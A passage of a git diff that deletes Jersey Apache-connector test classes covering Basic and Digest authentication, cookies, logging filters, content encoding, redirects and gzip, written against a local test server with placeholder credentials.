-                            .entity("Forbidden").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("queryParamsBasic")
-        public String getQueryParamsBasic(@Context HttpHeaders h, @Context UriInfo uriDetails) {
-            queryParamsBasicRequestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-            return "GET " + queryParamsBasicRequestCount;
-        }
-
-        @GET
-        @Path("queryParamsDigest")
-        public String getQueryParamsDigest(@Context HttpHeaders h, @Context UriInfo uriDetails) {
-            queryParamsDigestRequestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Digest realm=\"WallyWorld\"").build());
-            }
-            return "GET " + queryParamsDigestRequestCount;
-        }
-    }
-
-    @Test
-    public void testAuthGet() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithRequestCredentialsProvider() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET",
-                     r.request()
-                      .property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider)
-                      .get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithClientFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basic("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/filter");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithBasicAndDigestFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/basicAndDigest");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetBasicNoChallenge() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basicBuilder().build());
-        WebTarget r = client.target(getBaseUri()).path("test/noauth");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithDigestFilter() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, cm);
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/digest");
-
-        assertEquals("GET", r.request().get(String.class));
-
-        // Verify the connection that was used for the request is available for reuse
-        // and no connections are leased
-        assertEquals(cm.getTotalStats().getAvailable(), 1);
-        assertEquals(cm.getTotalStats().getLeased(), 0);
-    }
-
-    @Test
-    @Disabled("JERSEY-1750: Cannot retry request with a non-repeatable request entity. How to buffer the entity?"
-            + " Allow repeatable write in jersey?")
-    public void testAuthPost() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Test
-    public void testAuthPostWithClientFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basic("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/filter");
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Test
-    public void testAuthDelete() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        Response response = r.request().delete();
-        assertEquals(response.getStatus(), 204);
-    }
-
-    @Test
-    public void testAuthDeleteWithClientFilter() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.basic("name", "password"));
-        WebTarget r = client.target(getBaseUri()).path("test/filter");
-
-        Response response = r.request().delete();
-        assertEquals(204, response.getStatus());
-    }
-
-    @Test
-    public void testAuthInteractiveGet() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    @Disabled("JERSEY-1750: Cannot retry request with a non-repeatable request entity. How to buffer the entity?"
-            + " Allow repeatable write in jersey?")
-    public void testAuthInteractivePost() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.CREDENTIALS_PROVIDER, credentialsProvider);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-    }
-
-    @Test
-    public void testAuthGetWithBasicFilterAndContent() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, cm);
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universalBuilder().build());
-        WebTarget r = client.target(getBaseUri()).path("test/content");
-
-        try {
-            assertEquals("GET", r.request().get(String.class));
-            fail();
-        } catch (ResponseAuthenticationException ex) {
-            // expected
-        }
-
-        // Verify the connection that was used for the request is available for reuse
-        // and no connections are leased
-        assertEquals(cm.getTotalStats().getAvailable(), 1);
-        assertEquals(cm.getTotalStats().getLeased(), 0);
-    }
-
-    @Test
-    public void testAuthGetWithDigestFilterAndContent() {
-        ClientConfig cc = new ClientConfig();
-        PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.CONNECTION_MANAGER, cm);
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universalBuilder().build());
-        WebTarget r = client.target(getBaseUri()).path("test/contentDigestAuth");
-
-        try {
-            assertEquals("GET", r.request().get(String.class));
-            fail();
-        } catch (ResponseAuthenticationException ex) {
-            // expected
-        }
-
-        // Verify the connection that was used for the request is available for reuse
-        // and no connections are leased
-        assertEquals(cm.getTotalStats().getAvailable(), 1);
-        assertEquals(cm.getTotalStats().getLeased(), 0);
-    }
-
-    @Test
-    public void testAuthGetQueryParamsBasic() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-
-        WebTarget r = client.target(getBaseUri()).path("test/queryParamsBasic");
-        assertEquals("GET 2", r.request().get(String.class));
-
-        r = client.target(getBaseUri())
-                .path("test/queryParamsBasic")
-                .queryParam("param1", "value1")
-                .queryParam("param2", "value2");
-        assertEquals("GET 3", r.request().get(String.class));
-
-    }
-
-    @Test
-    public void testAuthGetQueryParamsDigest() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        client.register(HttpAuthenticationFeature.universal("name", "password"));
-
-        WebTarget r = client.target(getBaseUri()).path("test/queryParamsDigest");
-        assertEquals("GET 2", r.request().get(String.class));
-
-        r = client.target(getBaseUri())
-                .path("test/queryParamsDigest")
-                .queryParam("param1", "value1")
-                .queryParam("param2", "value2");
-        assertEquals("GET 3", r.request().get(String.class));
-    }
-
-    @Test
-    public void testAuthGetWithConfigurator() {
-        CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-        credentialsProvider.setCredentials(
-                AuthScope.ANY,
-                new UsernamePasswordCredentials("name", "password")
-        );
-        ApacheHttpClientBuilderConfigurator apacheHttpClientBuilderConfigurator = (httpClientBuilder) -> {
-            return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
-        };
-
-        ClientConfig cc = new ClientConfig();
-        cc.register(apacheHttpClientBuilderConfigurator);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri()).path("test");
-
-        assertEquals("GET", r.request().get(String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/CookieTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/CookieTest.java
deleted file mode 100644
index f9437e3..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/CookieTest.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.Cookie;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.NewCookie;
-import jakarta.ws.rs.core.Response;
-
-import org.apache.http.client.CookieStore;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.client.JerseyClientBuilder;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-import java.lang.reflect.Method;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class CookieTest extends JerseyTest {
-
-    @Path("/")
-    public static class CookieResource {
-
-        @GET
-        public Response get(@Context HttpHeaders h) {
-            Cookie c = h.getCookies().get("name");
-            String e = (c == null) ? "NO-COOKIE" : c.getValue();
-            return Response.ok(e)
-                    .cookie(new NewCookie("name", "value")).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(CookieResource.class);
-    }
-
-    @Test
-    public void testCookieResource() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-    }
-
-    @Test
-    public void testDisabledCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.property(ApacheClientProperties.DISABLE_COOKIES, true);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-
-        final CookieStore cookieStore = cookieStore(client);
-        if (cookieStore != null) {
-            assertTrue(cookieStore.getCookies().isEmpty());
-        } else {
-            assertNull(cookieStore);
-        }
-    }
-
-    @Test
-    public void testCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-
-        final CookieStore cookieStore = cookieStore(client);
-        assertNotNull(cookieStore.getCookies());
-        assertEquals(1, cookieStore.getCookies().size());
-        assertEquals("value", cookieStore.getCookies().get(0).getValue());
-    }
-
-    private static CookieStore cookieStore(JerseyClient client) {
-        Connector connector = client.getConfiguration().getConnector();
-        Method method = null;
-        try {
-            method = connector.getClass().getDeclaredMethod("getCookieStore");
-            method.setAccessible(true);
-            return (CookieStore) method.invoke(connector);
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/CustomLoggingFilter.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/CustomLoggingFilter.java
deleted file mode 100644
index 0dc4af4..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/CustomLoggingFilter.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Custom logging filter.
- *
- * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
- */
-public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
-        ClientRequestFilter, ClientResponseFilter {
-
-    static int preFilterCalled = 0;
-    static int postFilterCalled = 0;
-
-    @Override
-    public void filter(ClientRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        postFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        postFilterCalled++;
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/DisableContentEncodingTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/DisableContentEncodingTest.java
deleted file mode 100644
index 3118134..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/DisableContentEncodingTest.java
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.client.config.RequestConfig;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Ondrej Kosatka
- */
-public class DisableContentEncodingTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    @Path("/")
-    public static class Resource {
-
-        @GET
-        public String get(@HeaderParam("Accept-Encoding") String enc) {
-            return enc;
-        }
-    }
-
-    @Test
-    public void testDisabledByRequestConfig() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        final RequestConfig requestConfig = RequestConfig.custom().setContentCompressionEnabled(false).build();
-        cc.property(ApacheClientProperties.REQUEST_CONFIG, requestConfig);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().get().readEntity(String.class);
-        assertEquals("", enc);
-    }
-
-    @Test
-    public void testEnabledByRequestConfig() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        final RequestConfig requestConfig = RequestConfig.custom().setContentCompressionEnabled(true).build();
-        cc.property(ApacheClientProperties.REQUEST_CONFIG, requestConfig);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().get().readEntity(String.class);
-        assertEquals("gzip,deflate", enc);
-    }
-
-    @Test
-    public void testDefaultEncoding() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().get().readEntity(String.class);
-        assertEquals("gzip,deflate", enc);
-    }
-
-    @Test
-    public void testDefaultEncodingOverridden() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        String enc = r.request().acceptEncoding("gzip").get().readEntity(String.class);
-        assertEquals("gzip", enc);
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/FollowRedirectsTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/FollowRedirectsTest.java
deleted file mode 100644
index 5c8dc09..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/FollowRedirectsTest.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Apache connector follow redirect tests.
- *
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class FollowRedirectsTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class RedirectResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("redirect")
-        public Response redirect() {
-            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(RedirectResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    private static class RedirectTestFilter implements ClientResponseFilter {
-        public static final String RESOLVED_URI_HEADER = "resolved-uri";
-
-        @Override
-        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
-            if (responseContext instanceof ClientResponse) {
-                ClientResponse clientResponse = (ClientResponse) responseContext;
-                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
-            }
-        }
-    }
-
-    @Test
-    public void testDoFollow() {
-        Response r = target("test/redirect").register(RedirectTestFilter.class).request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-        assertEquals(
-                UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
-                r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
-    }
-
-    @Test
-    public void testDontFollow() {
-        WebTarget t = target("test/redirect");
-        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        assertEquals(303, t.request().get().getStatus());
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/GZIPContentEncodingTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/GZIPContentEncodingTest.java
deleted file mode 100644
index 5e223b6..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/GZIPContentEncodingTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.util.Arrays;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class GZIPContentEncodingTest extends JerseyTest {
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(Resource.class);
-    }
-
-    @Path("/")
-    public static class Resource {
-
-        @POST
-        public byte[] post(byte[] content) {
-            return content;
-        }
-    }
-
-    @Test
-    public void testPost() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig cc = new ClientConfig(GZipEncoder.class);
-        cc.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
-        cc.connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HelloWorldTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HelloWorldTest.java
deleted file mode 100644
index 8277577..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HelloWorldTest.java
+++ /dev/null
@@ -1,616 +0,0 @@
-/*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
